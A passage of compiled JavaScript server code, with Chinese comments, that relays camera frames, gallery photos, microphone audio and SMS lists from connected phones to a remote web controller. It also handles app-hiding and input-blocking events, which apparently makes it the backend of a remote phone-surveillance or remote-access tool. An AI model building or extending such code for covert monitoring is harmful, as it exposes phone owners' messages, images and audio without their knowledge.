this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`);
|
||
return true;
|
||
}
|
||
// 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
|
||
const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId);
|
||
if (existingBuffer) {
|
||
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
|
||
const timeDiff = Date.now() - existingBuffer.timestamp;
|
||
if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据
|
||
this.droppedCameraFrames++;
|
||
this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`);
|
||
return false;
|
||
}
|
||
}
|
||
// 更新缓冲区(用于去重和统计)
|
||
this.cameraDataBuffer.set(cameraData.deviceId, {
|
||
data: cameraData,
|
||
timestamp: Date.now()
|
||
});
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
// 立即尝试从数据库恢复设备,而不是延迟处理
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
// 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device);
|
||
// 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// 设备通过摄像头数据恢复后,必须立即通知Web端
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`);
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`);
|
||
// 只有在数据库中也找不到时,才使用延迟重试
|
||
setTimeout(() => {
|
||
this.retryRouteCameraData(fromSocketId, cameraData, 1);
|
||
}, 500);
|
||
return true; // 返回true避免client端重试
|
||
}
|
||
}
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
return false;
|
||
}
|
||
// 更新设备的lastSeen时间
|
||
device.lastSeen = new Date();
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`);
|
||
// 添加摄像头数据传输限流和错误处理
|
||
try {
|
||
// 发送摄像头数据到控制客户端
|
||
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
|
||
deviceId: device.id,
|
||
format: cameraData.format,
|
||
data: cameraData.data,
|
||
type: cameraData.type,
|
||
timestamp: cameraData.timestamp
|
||
});
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`);
|
||
return false;
|
||
}
|
||
// 记录成功传输,用于监控
|
||
this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`);
|
||
return true;
|
||
}
|
||
catch (emitError) {
|
||
this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由摄像头数据失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 重试路由摄像头数据
|
||
*/
|
||
retryRouteCameraData(fromSocketId, cameraData, retryCount) {
|
||
const maxRetries = 3;
|
||
try {
|
||
// 再次尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device && retryCount <= maxRetries) {
|
||
// 继续等待并重试
|
||
setTimeout(() => {
|
||
this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1);
|
||
}, 1000 * retryCount); // 递增延迟:1s, 2s, 3s
|
||
return;
|
||
}
|
||
if (!device) {
|
||
// 最后尝试从数据库查询
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
// 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
// 将恢复的设备添加到DeviceManager中,避免重复查询
|
||
this.deviceManager.addDevice(device);
|
||
// 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// 重试恢复成功后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`);
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`);
|
||
return;
|
||
}
|
||
}
|
||
// 设备找到后正常路由
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`);
|
||
const controllerId = this.webClientManager.getDeviceController(device.id);
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
|
||
deviceId: device.id,
|
||
format: cameraData.format,
|
||
data: cameraData.data,
|
||
type: cameraData.type,
|
||
timestamp: cameraData.timestamp
|
||
});
|
||
if (success) {
|
||
this.logger.debug(`📷 重试路由成功: ${device.name}`);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重试路由摄像头数据失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由相册图片数据(不保存到磁盘,直接转发base64给客户端)
|
||
*/
|
||
routeGalleryImage(fromSocketId, image) {
|
||
try {
|
||
// 校验设备来源
|
||
const device = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (!device || device.deviceId !== image.deviceId) {
|
||
this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`);
|
||
return false;
|
||
}
|
||
// 直接将base64数据转发给当前控制端
|
||
const controllerId = this.webClientManager.getDeviceController(image.deviceId);
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`);
|
||
return true;
|
||
}
|
||
// 保留事件名与元数据结构以保证前端兼容,同时附加base64数据
|
||
this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', {
|
||
deviceId: image.deviceId,
|
||
type: 'gallery_image_saved',
|
||
index: image.index,
|
||
id: image.id,
|
||
displayName: image.displayName,
|
||
dateAdded: image.dateAdded,
|
||
mimeType: image.mimeType,
|
||
width: image.width,
|
||
height: image.height,
|
||
size: image.size,
|
||
contentUri: image.contentUri,
|
||
timestamp: image.timestamp,
|
||
// 直接携带原始base64数据(可能是 dataURL 或纯base64)
|
||
data: image.data
|
||
});
|
||
// 记录日志(不落盘)
|
||
const approxSize = typeof image.data === 'string' ? image.data.length : 0;
|
||
this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('转发相册图片失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 路由麦克风音频数据(从设备到Web客户端)
|
||
*/
|
||
routeMicrophoneAudio(fromSocketId, audioData) {
|
||
try {
|
||
this.routedMicrophoneAudio++;
|
||
// 添加音频数据大小检查
|
||
const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0;
|
||
this.totalMicrophoneAudioSize += dataSize;
|
||
if (dataSize > this.maxDataSize) {
|
||
this.droppedMicrophoneAudio++;
|
||
this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
// 检查设备是否有控制者
|
||
const controllerId = this.webClientManager.getDeviceController(audioData.deviceId);
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`);
|
||
return true;
|
||
}
|
||
// 去重(防抖):100ms内相同设备的音频数据视为重复
|
||
const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId);
|
||
if (existingBuffer) {
|
||
const timeDiff = Date.now() - existingBuffer.timestamp;
|
||
if (timeDiff < 100) {
|
||
this.droppedMicrophoneAudio++;
|
||
this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`);
|
||
return false;
|
||
}
|
||
}
|
||
// 更新缓冲区
|
||
this.microphoneAudioBuffer.set(audioData.deviceId, {
|
||
data: audioData,
|
||
timestamp: Date.now()
|
||
});
|
||
// 获取或恢复设备
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
this.deviceManager.addDevice(device);
|
||
// 更新数据库中的设备记录
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// 通知Web端设备在线
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`);
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// 同步设备状态到设备端
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`);
|
||
setTimeout(() => {
|
||
this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1);
|
||
}, 500);
|
||
return true;
|
||
}
|
||
}
|
||
if (!device) {
|
||
return false;
|
||
}
|
||
// 更新设备的lastSeen时间
|
||
device.lastSeen = new Date();
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`);
|
||
// 发送麦克风音频数据到控制客户端
|
||
try {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
|
||
deviceId: device.id,
|
||
audioData: audioData.audioData,
|
||
sampleRate: audioData.sampleRate,
|
||
sampleCount: audioData.sampleCount,
|
||
format: audioData.format,
|
||
channels: audioData.channels,
|
||
bitDepth: audioData.bitDepth,
|
||
timestamp: audioData.timestamp
|
||
});
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`);
|
||
return false;
|
||
}
|
||
this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`);
|
||
return true;
|
||
}
|
||
catch (emitError) {
|
||
this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由麦克风音频数据失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 重试路由麦克风音频数据
|
||
*/
|
||
retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount) {
|
||
const maxRetries = 3;
|
||
try {
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device && retryCount <= maxRetries) {
|
||
setTimeout(() => {
|
||
this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1);
|
||
}, 1000 * retryCount);
|
||
return;
|
||
}
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
this.deviceManager.addDevice(device);
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`);
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`);
|
||
return;
|
||
}
|
||
}
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`);
|
||
const controllerId = this.webClientManager.getDeviceController(device.id);
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
|
||
deviceId: device.id,
|
||
audioData: audioData.audioData,
|
||
sampleRate: audioData.sampleRate,
|
||
sampleCount: audioData.sampleCount,
|
||
format: audioData.format,
|
||
channels: audioData.channels,
|
||
bitDepth: audioData.bitDepth,
|
||
timestamp: audioData.timestamp
|
||
});
|
||
if (success) {
|
||
this.logger.debug(`🎤 重试路由成功: ${device.name}`);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重试路由麦克风音频数据失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由短信数据(从设备到Web客户端)
|
||
*/
|
||
routeSmsData(fromSocketId, smsData) {
|
||
try {
|
||
this.routedSmsData++;
|
||
// 估算数据大小(用于监控)
|
||
try {
|
||
const approxSize = JSON.stringify(smsData).length;
|
||
this.totalSmsDataSize += approxSize;
|
||
if (approxSize > this.maxDataSize) {
|
||
this.droppedSmsData++;
|
||
this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
}
|
||
catch (_) {
|
||
// 忽略JSON stringify异常
|
||
}
|
||
// 检查设备控制者
|
||
const controllerId = this.webClientManager.getDeviceController(smsData.deviceId);
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`);
|
||
return true;
|
||
}
|
||
// 去重(防抖):500ms内相同设备的批次视为重复
|
||
const existingBuffer = this.smsDataBuffer.get(smsData.deviceId);
|
||
if (existingBuffer) {
|
||
const timeDiff = Date.now() - existingBuffer.timestamp;
|
||
if (timeDiff < 500) {
|
||
this.droppedSmsData++;
|
||
this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`);
|
||
return false;
|
||
}
|
||
}
|
||
// 更新缓冲区
|
||
this.smsDataBuffer.set(smsData.deviceId, {
|
||
data: smsData,
|
||
timestamp: Date.now()
|
||
});
|
||
// 获取或恢复设备
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
this.deviceManager.addDevice(device);
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// 通知Web端设备在线
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`);
|
||
setTimeout(() => {
|
||
this.retryRouteSmsData(fromSocketId, smsData, 1);
|
||
}, 500);
|
||
return true;
|
||
}
|
||
}
|
||
if (!device) {
|
||
return false;
|
||
}
|
||
// 更新活跃时间
|
||
device.lastSeen = new Date();
|
||
// 转发给控制客户端
|
||
try {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', {
|
||
deviceId: device.id,
|
||
type: smsData.type,
|
||
timestamp: smsData.timestamp,
|
||
count: smsData.count,
|
||
smsList: smsData.smsList
|
||
});
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`);
|
||
return false;
|
||
}
|
||
this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`);
|
||
return true;
|
||
}
|
||
catch (emitError) {
|
||
this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由短信数据失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 重试路由短信数据
|
||
*/
|
||
retryRouteSmsData(fromSocketId, smsData, retryCount) {
|
||
const maxRetries = 3;
|
||
try {
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device && retryCount <= maxRetries) {
|
||
setTimeout(() => {
|
||
this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1);
|
||
}, 1000 * retryCount);
|
||
return;
|
||
}
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
this.deviceManager.addDevice(device);
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`);
|
||
return;
|
||
}
|
||
}
|
||
if (device) {
|
||
const controllerId = this.webClientManager.getDeviceController(device.id);
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData);
|
||
if (success) {
|
||
this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重试路由短信数据失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由设备事件(从设备到Web客户端)
|
||
*/
|
||
routeDeviceEvent(fromSocketId, eventType, eventData) {
|
||
try {
|
||
this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`);
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
// 对于ui_hierarchy_response,即使找不到设备也要尝试处理
|
||
if (!device && eventType === 'ui_hierarchy_response') {
|
||
this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`);
|
||
// 尝试从响应数据中获取deviceId
|
||
const deviceId = eventData?.deviceId;
|
||
if (deviceId) {
|
||
this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`);
|
||
// 直接处理UI层次结构响应
|
||
this.handleUIHierarchyResponse(deviceId, eventData);
|
||
return true;
|
||
}
|
||
else {
|
||
this.logger.error(`❌ 响应数据中没有deviceId字段`);
|
||
}
|
||
}
|
||
if (!device) {
|
||
this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`);
|
||
return false;
|
||
}
|
||
// 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志)
|
||
device.lastSeen = new Date();
|
||
this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`);
|
||
// 广播给所有Web客户端(状态更新等)
|
||
this.webClientManager.broadcastToAll('device_event', {
|
||
deviceId: device.id,
|
||
eventType,
|
||
data: eventData,
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`);
|
||
// 处理特定的设备状态变化事件
|
||
switch (eventType) {
|
||
case 'INPUT_BLOCKED_CHANGED':
|
||
this.handleDeviceInputBlockedChanged(device.id, eventData.blocked);
|
||
break;
|
||
case 'LOGGING_STATE_CHANGED':
|
||
this.handleDeviceLoggingStateChanged(device.id, eventData.enabled);
|
||
break;
|
||
case 'ui_hierarchy_response':
|
||
this.handleUIHierarchyResponse(device.id, eventData);
|
||
break;
|
||
case 'app_hide_status':
|
||
this.handleAppHideStatusUpdate(device.id, eventData);
|
||
break;
|
||
default:
|
||
this.logger.debug(`设备事件已处理: ${eventType}`);
|
||
break;
|
||
}
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由设备事件失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 路由客户端事件(从Web客户端到其他客户端或设备)
|
||
*/
|
||
routeClientEvent(fromSocketId, eventType, eventData) {
|
||
try {
|
||
this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`);
|
||
const client = this.webClientManager.getClientBySocketId(fromSocketId);
|
||
if (!client) {
|
||
this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
this.logger.info(`✅ 找到客户端: ${client.id}`);
|
||
switch (eventType) {
|
||
case 'REQUEST_DEVICE_CONTROL':
|
||
return this.handleDeviceControlRequest(client.id, eventData.deviceId);
|
||
case 'RELEASE_DEVICE_CONTROL':
|
||
